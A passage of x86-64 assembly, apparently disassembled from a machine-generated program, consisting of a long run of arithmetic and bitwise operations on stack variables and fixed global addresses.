mov rax, qword [rax]
mov rcx, qword [rsp + 0x5350]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x62a0], rax
lea rax, [rsp + 0x2c38]
mov qword [rsp + 0x6ea0], rax
movsx eax, word [rsp + 0xbcc]
movsx ecx, word [rsp + 0x9e8]
sar eax, cl
mov word [rsp + 0x960], ax
movzx eax, byte [rsp + 0x91]
movzx ecx, byte [rsp + 0xc0]
shl eax, cl
mov byte [0x1401141bf], al
mov rax, qword [rsp + 0x52d8]
movzx eax, byte [rax]
mov byte [rsp + 0x135], al
movzx eax, word [rsp + 0xbe8]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x930], ax
movsx eax, byte [rsp + 0x37]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6518]
mov byte [rcx], al
mov rax, qword [rsp + 0x5580]
mov qword [rsp + 0x6ea8], rax
mov rax, qword [rsp + 0x6d38]
mov rcx, qword [rsp + 0x5a78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4f00], rax
mov eax, dword [rsp + 0x2ae0]
mov dword [rsp + 0x2f04], eax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x52b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d08], eax
mov rax, qword [rsp + 0x63a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11e]
sub eax, ecx
mov byte [rsp + 0x62], al
movsx eax, word [rsp + 0xab8]
movsx ecx, word [rsp + 0x9b0]
sub eax, ecx
mov rcx, qword [0x140114448]
mov word [rcx], ax
mov rax, qword [rsp + 0x6530]
movzx eax, word [rax]
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x5360]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11e]
add eax, ecx
mov rcx, qword [rsp + 0x69f8]
mov byte [rcx], al
lea rax, [rsp + 0x8a]
mov qword [rsp + 0x6eb0], rax
mov rax, qword [rsp + 0x68b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xad4]
sub eax, ecx
mov word [rsp + 0x904], ax
lea rax, [rsp + 0x2ec4]
mov qword [rsp + 0x6eb8], rax
mov rax, qword [rsp + 0x6ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6e60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x57c0], rax
mov rax, qword [rsp + 0x65a0]
mov rcx, qword [rsp + 0x62e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x57f0], rax
mov rax, qword [rsp + 0x5fb0]
mov eax, dword [rax]
mov dword [rsp + 0x2f08], eax
lea rax, [0x14011301a]
mov qword [0x140114600], rax
mov rax, qword [rsp + 0x6880]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5850]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb4c], ax
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x6850]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5dc0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6d30]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb0]
movzx ecx, byte [rsp + 0x41]
sar eax, cl
mov byte [rsp + 0x49], al
lea rax, [rsp + 0x2c24]
mov qword [rsp + 0x6ec0], rax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6980]
shl rax, cl
mov rcx, qword [rsp + 0x5f98]
mov qword [rcx], rax
lea rax, [rsp + 0x2ba0]
mov qword [rsp + 0x6ec8], rax
mov rax, qword [rsp + 0x5d68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6590]
mov qword [rcx], rax
lea rax, [rsp + 0xbb4]
mov qword [0x140114608], rax
mov rax, qword [rsp + 0x6c40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb88]
and eax, ecx
mov rcx, qword [rsp + 0x55c0]
mov word [rcx], ax
lea rax, [rsp + 0x874]
mov qword [rsp + 0x6ed0], rax
mov rax, qword [rsp + 0x6c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x66b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa0], al
lea rax, [rsp + 0x4e]
mov qword [rsp + 0x6ed8], rax
mov rax, qword [rsp + 0x52c8]
mov rcx, qword [rsp + 0x6728]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2de4], eax
mov rax, qword [rsp + 0x5c78]
mov ecx, dword [rsp + 0x2f00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c64], eax
mov rax, qword [rsp + 0x6248]
mov rax, qword [rax]
mov qword [rsp + 0x6ee0], rax
mov rax, qword [rsp + 0x68f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6538]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6548]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6708]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401142d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5e20]
movzx eax, word [rax]
mov word [rsp + 0xc64], ax
mov rax, qword [rsp + 0x50c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x87]
add eax, ecx
mov byte [rsp + 0xe1], al
lea rax, [rsp + 0xa2]
mov qword [rsp + 0x6ee8], rax
mov rax, qword [0x140114558]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x111]
add eax, ecx
mov rcx, qword [rsp + 0x6e80]
mov byte [rcx], al
mov rax, qword [rsp + 0x5680]
mov ecx, dword [rsp + 0x2e50]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2df0], eax
mov rax, qword [rsp + 0x6e10]
mov eax, dword [rax]
mov dword [rsp + 0x2f0c], eax
mov rax, qword [rsp + 0x68b0]
mov rcx, qword [rsp + 0x6c48]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x6428]
mov qword [rsp + 0x6ef0], rax
mov rax, qword [rsp + 0x6c20]
movzx eax, byte [rax]
mov byte [0x140114227], al
movsx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x6ba0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xaac], ax
movzx eax, word [rsp + 0xafc]
movzx ecx, word [rsp + 0x880]
xor eax, ecx
mov rcx, qword [rsp + 0x6bd8]
mov word [rcx], ax
lea rax, [rsp + 0x33]
mov qword [rsp + 0x6ef8], rax
movsx eax, byte [0x140114154]
mov rcx, qword [rsp + 0x5828]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov dword [rsp + 0x2f10], eax
mov rax, qword [rsp + 0x6c48]
mov rcx, qword [rsp + 0x5d78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5838], rax
mov rax, qword [rsp + 0x6a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b8c], eax
lea rax, [rsp + 0x5ea0]
mov qword [rsp + 0x6f00], rax
movzx eax, byte [rsp + 0x12b]
mov rcx, qword [rsp + 0x6dd0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x140114250]
mov byte [rcx], al
movzx eax, word [rsp + 0xc20]
movzx ecx, word [rsp + 0xc28]
add eax, ecx
mov word [rsp + 0x9f4], ax
mov rax, qword [rsp + 0x6ed0]
movzx eax, word [rax]
mov word [rsp + 0xc68], ax
movsx eax, byte [rsp + 0x46]
movsx ecx, byte [0x140114222]
add eax, ecx
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x7f]
mov rcx, qword [rsp + 0x5360]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5d10]
mov byte [rcx], al
mov rax, qword [rsp + 0x63b8]
mov eax, dword [rax]
mov dword [rsp + 0x2f14], eax
mov rax, qword [rsp + 0x5448]
mov rcx, qword [rsp + 0x6b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5db8]
mov qword [rcx], rax
lea rax, [rsp + 0x63d0]
mov qword [rsp + 0x6f08], rax
mov eax, dword [rsp + 0x2d48]
mov ecx, dword [rsp + 0x29f0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x63f0]
movsx eax, word [rax]
mov rcx, qword [0x1401143f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401130e8], ax
lea rax, [rsp + 0xb54]
mov qword [rsp + 0x6f10], rax
mov rax, qword [rsp + 0x57a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xaa]
sub eax, ecx
mov byte [rsp + 0x11e], al
movsx eax, word [rsp + 0xac8]
mov rcx, qword [0x1401141c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xac4], ax
mov rax, qword [rsp + 0x6768]
movzx eax, byte [rax]
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x57e8]
mov rcx, qword [rsp + 0x64d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4f78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67f8]
mov qword [rsp + 0x6f18], rax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x5080]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2a20], eax
mov eax, dword [rsp + 0x2ce4]
mov rcx, qword [rsp + 0x5ec0]
mov qword [rsp + 0x6f20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6f20]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6650]
mov dword [rcx], eax
mov rax, qword [0x140114598]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x86]
sar eax, cl
mov byte [0x14011304a], al
movzx eax, byte [rsp + 0x3f]
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x4ec0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5e08]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x950], ax
lea rax, [0x140113098]
mov qword [rsp + 0x6f28], rax
movsx eax, word [rsp + 0xb28]
movsx ecx, word [rsp + 0x924]
sub eax, ecx
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x60c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5830]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5df8], rax
mov rax, qword [rsp + 0x4ee8]
mov eax, dword [rax]
mov dword [rsp + 0x2f18], eax
mov eax, dword [rsp + 0x2eb4]
mov ecx, dword [rsp + 0x2eb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ecc], eax
mov rax, qword [rsp + 0x68f0]
mov rax, qword [rax]
mov qword [rsp + 0x6f30], rax
movsx eax, byte [rsp + 0xa6]
movsx ecx, byte [rsp + 0x116]
add eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6e50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011306a], al
movzx eax, word [rsp + 0x850]
mov word [rsp + 0xc6c], ax
movzx eax, word [rsp + 0x988]
movzx ecx, word [rsp + 0x92c]
add eax, ecx
mov word [rsp + 0x918], ax
mov rax, qword [rsp + 0x69a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x61e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2cfc]
mov dword [rsp + 0x2f1c], eax
mov rax, qword [rsp + 0x4ff0]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x65b8], rax
lea rax, [rsp + 0x6be0]
mov qword [rsp + 0x6f38], rax
mov rax, qword [rsp + 0x5248]
mov ecx, dword [rsp + 0x2bf4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2b48], eax
movzx eax, word [0x1401142b0]
mov rcx, qword [rsp + 0x6048]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xbe0], ax
mov rax, qword [rsp + 0x6138]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5308]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401141bf], al
lea rax, [0x140113037]
mov qword [rsp + 0x6f40], rax
movsx eax, word [rsp + 0xa70]
movsx ecx, word [rsp + 0xae8]
sar eax, cl
mov rcx, qword [rsp + 0x53d0]
mov word [rcx], ax
movzx eax, word [rsp + 0xa48]
mov word [rsp + 0xc70], ax
mov rax, qword [rsp + 0x5150]
mov ecx, dword [rsp + 0x2b88]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5520]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6230]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6630]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6938]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5ff0]
mov rax, qword [rax]
mov qword [rsp + 0x6f48], rax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2ba4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a4c], eax
lea rax, [rsp + 0x7b]
mov qword [rsp + 0x6f50], rax
mov rax, qword [rsp + 0x5630]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5810]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140114458]
mov word [rcx], ax
mov rax, qword [rsp + 0x5b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x99c]
add eax, ecx
mov rcx, qword [rsp + 0x5dc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x6558]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5f48]
mov byte [rcx], al
lea rax, [rsp + 0xb38]
mov qword [rsp + 0x6f58], rax
mov rax, qword [rsp + 0x6c10]
mov ecx, dword [rsp + 0x2b88]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2f14], eax
mov rax, qword [rsp + 0x5ce8]
mov rax, qword [rax]
mov qword [rsp + 0x6f60], rax
mov eax, dword [rsp + 0x2ccc]
mov ecx, dword [rsp + 0x2d08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bbc], eax
lea rax, [rsp + 0x6a20]
mov qword [rsp + 0x6f68], rax
movzx eax, byte [rsp + 0x108]
movzx ecx, byte [rsp + 0xfa]
add eax, ecx
mov byte [rsp + 0x6a], al
lea rax, [rsp + 0xa5]
mov qword [0x140114610], rax
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [0x140114498]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x127], al
lea rax, [rsp + 0xc68]
mov qword [rsp + 0x6f70], rax
movsx eax, word [rsp + 0xb60]
movsx ecx, word [rsp + 0xc0c]
or eax, ecx
mov word [rsp + 0xa9c], ax
mov rax, qword [rsp + 0x5810]
movzx eax, word [rax]
mov word [rsp + 0xc74], ax
mov eax, dword [rsp + 0x2e00]
mov rcx, qword [rsp + 0x52c8]
mov qword [rsp + 0x6f78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6f78]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2ae4], eax
mov eax, dword [rsp + 0x2af4]
mov ecx, dword [rsp + 0x2f14]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6578]
mov qword [rsp + 0x6f80], rax
mov rax, qword [rsp + 0x6860]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6f60]
shl rax, cl
mov qword [rsp + 0x6950], rax
lea rax, [rsp + 0x67]
mov qword [0x140114618], rax
lea rax, [rsp + 0x33]
mov qword [rsp + 0x6f88], rax
movsx eax, word [rsp + 0xb58]
movsx ecx, word [rsp + 0x928]
and eax, ecx
mov word [rsp + 0x8f0], ax
mov rax, qword [rsp + 0x5d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x121]
add eax, ecx
mov byte [rsp + 0x59], al
lea rax, [rsp + 0xb74]
mov qword [rsp + 0x6f90], rax
mov rax, qword [rsp + 0x6650]
mov ecx, dword [rsp + 0x2c6c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b1c], eax
lea rax, [rsp + 0x6950]
mov qword [rsp + 0x6f98], rax
mov rax, qword [rsp + 0x68f0]
mov rcx, qword [rsp + 0x5dc8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x58a0]
mov qword [rcx], rax
mov eax, dword [0x140114150]
mov dword [rsp + 0x2f20], eax
movzx eax, word [rsp + 0x97c]
movzx ecx, word [rsp + 0x988]
sub eax, ecx
mov word [0x140114230], ax
movsx eax, byte [rsp + 0x11f]
movsx ecx, byte [rsp + 0x127]
add eax, ecx
mov rcx, qword [rsp + 0x6820]
mov byte [rcx], al
movzx eax, byte [rsp + 0x12b]
movzx ecx, byte [rsp + 0xef]
and eax, ecx
mov rcx, qword [rsp + 0x4f88]
mov byte [rcx], al
mov rax, qword [rsp + 0x5620]
movzx eax, word [rax]
mov word [rsp + 0xc78], ax
mov rax, qword [rsp + 0x5768]
movsx eax, byte [rax]
movsx ecx, byte [0x14011302f]
add eax, ecx
mov byte [rsp + 0xa2], al
lea rax, [rsp + 0x2df0]
mov qword [rsp + 0x6fa0], rax
mov rax, qword [rsp + 0x5158]
mov rcx, qword [rsp + 0x6148]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6c58], rax
mov rax, qword [rsp + 0x6380]
mov rcx, qword [rsp + 0x6840]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x66c8], rax
mov rax, qword [rsp + 0x5820]
mov eax, dword [rax]
mov dword [rsp + 0x2f24], eax
mov rax, qword [rsp + 0x52d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x69a0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x14011304e], al
movzx eax, word [rsp + 0x984]
mov rcx, qword [rsp + 0x6120]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6088]
mov word [rcx], ax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x6fa8], rax
mov rax, qword [rsp + 0x6cc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5d28]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xbd4], ax
movsx eax, word [rsp + 0xc18]
movsx ecx, word [0x1401142e4]
or eax, ecx
mov rcx, qword [rsp + 0x6b70]
mov word [rcx], ax
lea rax, [rsp + 0x2cdc]
mov qword [rsp + 0x6fb0], rax
mov rax, qword [rsp + 0x5998]
mov rcx, qword [rsp + 0x5d58]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x55d0], rax
lea rax, [0x140114160]
mov qword [rsp + 0x6fb8], rax
mov eax, dword [rsp + 0x2e70]
mov ecx, dword [rsp + 0x2ea8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b74], eax
lea rax, [rsp + 0x10c]
mov qword [0x140114620], rax
mov rax, qword [rsp + 0x6e00]
movsx eax, word [rax]
movsx ecx, word [0x140113014]
add eax, ecx
mov word [rsp + 0x990], ax
mov rax, qword [rsp + 0x6408]
movzx eax, word [rax]
mov word [rsp + 0xc7c], ax
mov rax, qword [rsp + 0x5c30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xff]
sub eax, ecx
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x6b70]
movzx eax, word [rax]
mov word [rsp + 0xc80], ax
mov rax, qword [rsp + 0x5cd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e10]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6e18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5690]
mov qword [rsp + 0x6fc0], rax
mov eax, dword [rsp + 0x2dc4]
mov ecx, dword [rsp + 0x2cac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bb4], eax
mov rax, qword [rsp + 0x6b50]
mov rcx, qword [0x140114160]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6668]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ef8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35]
and eax, ecx
mov byte [0x14011301e], al
lea rax, [rsp + 0x980]
mov qword [rsp + 0x6fc8], rax
movsx eax, word [rsp + 0xb74]
mov rcx, qword [rsp + 0x6b20]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6458]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
mov byte [rsp + 0x139], al
movsx eax, byte [rsp + 0x4a]
mov rcx, qword [0x140114320]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x50b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5480]
mov rcx, qword [rsp + 0x4bf8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x63f8], rax
mov rax, qword [rsp + 0x5e60]
mov eax, dword [rax]
mov dword [rsp + 0x2f28], eax
mov eax, dword [rsp + 0x2c9c]
mov rcx, qword [rsp + 0x6aa8]
mov qword [rsp + 0x6fd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6fd0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5a20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d50]
mov rax, qword [rax]
mov qword [rsp + 0x6fd8], rax
mov rax, qword [rsp + 0x6880]
movzx eax, word [rax]
mov word [0x140114628], ax
mov rax, qword [rsp + 0x6fa8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4c]
xor eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov byte [rcx], al
mov rax, qword [0x140114470]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6060]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x65], al
movzx eax, word [rsp + 0xc0c]
mov word [rsp + 0xc84], ax
movzx eax, word [rsp + 0x99c]
movzx ecx, word [rsp + 0xc1c]
and eax, ecx
mov word [rsp + 0xbac], ax
mov rax, qword [rsp + 0x4d60]
mov eax, dword [rax]
mov dword [rsp + 0x2f2c], eax
mov rax, qword [rsp + 0x5480]
mov rcx, qword [rsp + 0x6840]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0x5808], rax
mov rax, qword [rsp + 0x5678]
mov rcx, qword [rsp + 0x6440]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x53e8], rax
mov eax, dword [rsp + 0x2b44]
mov dword [rsp + 0x2f30], eax
mov rax, qword [rsp + 0x66e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf1]
sub eax, ecx
mov byte [0x140113066], al
mov rax, qword [rsp + 0x6058]
movzx eax, word [rax]
movzx ecx, word [0x14011307c]
sub eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f98]
movzx eax, word [rax]
mov word [rsp + 0xc88], ax
movsx eax, byte [rsp + 0x12d]
movsx ecx, byte [rsp + 0xe1]
add eax, ecx
mov rcx, qword [rsp + 0x6da8]
mov byte [rcx], al
lea rax, [rsp + 0x9f]
mov qword [rsp + 0x6fe0], rax
mov rax, qword [rsp + 0x62b0]
mov rcx, qword [0x140114160]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f48], rax
mov eax, dword [rsp + 0x2e10]
mov ecx, dword [rsp + 0x2cf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ef8], eax
lea rax, [rsp + 0x2d18]
mov qword [rsp + 0x6fe8], rax
mov rax, qword [rsp + 0x64d0]
mov rcx, qword [rsp + 0x6a10]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4e60], rax
lea rax, [rsp + 0xa54]
mov qword [rsp + 0x6ff0], rax
mov rax, qword [rsp + 0x5d48]
movzx eax, byte [rax]
movzx ecx, byte [0x14011301e]
and eax, ecx
mov byte [0x14011306b], al
mov rax, qword [rsp + 0x4de0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5630]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xbe4], ax
mov rax, qword [rsp + 0x6b68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6d80]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6c20]
mov byte [rcx], al
lea rax, [0x14011303e]
mov qword [rsp + 0x6ff8], rax
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x6ca8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6238], rax
lea rax, [rsp + 0x6638]
mov qword [rsp + 0x7000], rax
mov rax, qword [rsp + 0x5108]
mov rcx, qword [rsp + 0x5a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2d74]
mov ecx, dword [rsp + 0x2b48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bb8], eax
movzx eax, byte [rsp + 0xf8]
mov byte [rsp + 0x13a], al
lea rax, [rsp + 0xb54]
mov qword [0x140114630], rax
mov rax, qword [rsp + 0x5b28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9b0]
sub eax, ecx
mov rcx, qword [rsp + 0x6b20]
mov word [rcx], ax
lea rax, [rsp + 0xbf]
mov qword [rsp + 0x7008], rax
mov rax, qword [rsp + 0x6108]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x878]
and eax, ecx
mov rcx, qword [rsp + 0x6928]
mov word [rcx], ax
lea rax, [rsp + 0x2d34]
mov qword [rsp + 0x7010], rax
mov rax, qword [rsp + 0x5970]
mov rcx, qword [rsp + 0x64c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6348], rax
mov rax, qword [rsp + 0x6090]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4eb0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x66b0]
mov qword [rcx], rax
lea rax, [rsp + 0x2d4c]
mov qword [rsp + 0x7018], rax
mov rax, qword [rsp + 0x6c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6488]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd8], al
movsx eax, byte [rsp + 0x4d]
movsx ecx, byte [rsp + 0x115]
sub eax, ecx
mov rcx, qword [0x140114398]
mov byte [rcx], al
mov rax, qword [rsp + 0x51d0]
movzx eax, byte [rax]
mov byte [rsp + 0x13b], al
movzx eax, word [rsp + 0x99c]
movzx ecx, word [rsp + 0xa14]
add eax, ecx
mov word [rsp + 0xaec], ax
mov rax, qword [rsp + 0x5720]
movzx eax, word [rax]
movzx ecx, word [0x140114580]
add eax, ecx
mov rcx, qword [rsp + 0x5b58]
mov word [rcx], ax
mov eax, dword [rsp + 0x2c30]
mov dword [rsp + 0x2f34], eax
mov rax, qword [rsp + 0x5c58]
mov rcx, qword [rsp + 0x69d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d50], rax
lea rax, [0x140114160]
mov qword [rsp + 0x7020], rax
mov rax, qword [rsp + 0x4ee8]
mov ecx, dword [rsp + 0x2c88]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a4c], eax
movzx eax, byte [rsp + 0x59]
movzx ecx, byte [rsp + 0x7e]
shl eax, cl
mov rcx, qword [rsp + 0x7008]
mov byte [rcx], al
mov rax, qword [0x1401145c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x56b0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140113078], ax
movzx eax, word [rsp + 0xc3c]
mov word [rsp + 0xc8c], ax
movsx eax, word [rsp + 0xc40]
movsx ecx, word [rsp + 0xbc8]
sar eax, cl
mov rcx, qword [rsp + 0x5da8]
mov word [rcx], ax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x7028], rax
movzx eax, byte [rsp + 0x9b]
movzx ecx, byte [rsp + 0x128]
or eax, ecx
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0x5818]
mov rcx, qword [rsp + 0x5800]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5a70], rax
lea rax, [rsp + 0x2ddc]
mov qword [rsp + 0x7030], rax
mov rax, qword [rsp + 0x66c8]
mov rcx, qword [rsp + 0x6320]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6bc8], rax
lea rax, [rsp + 0x2c10]
mov qword [rsp + 0x7038], rax
lea rax, [rsp + 0xfc]
mov qword [0x140114638], rax
movzx eax, word [rsp + 0x8d4]
mov rcx, qword [rsp + 0x5b30]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
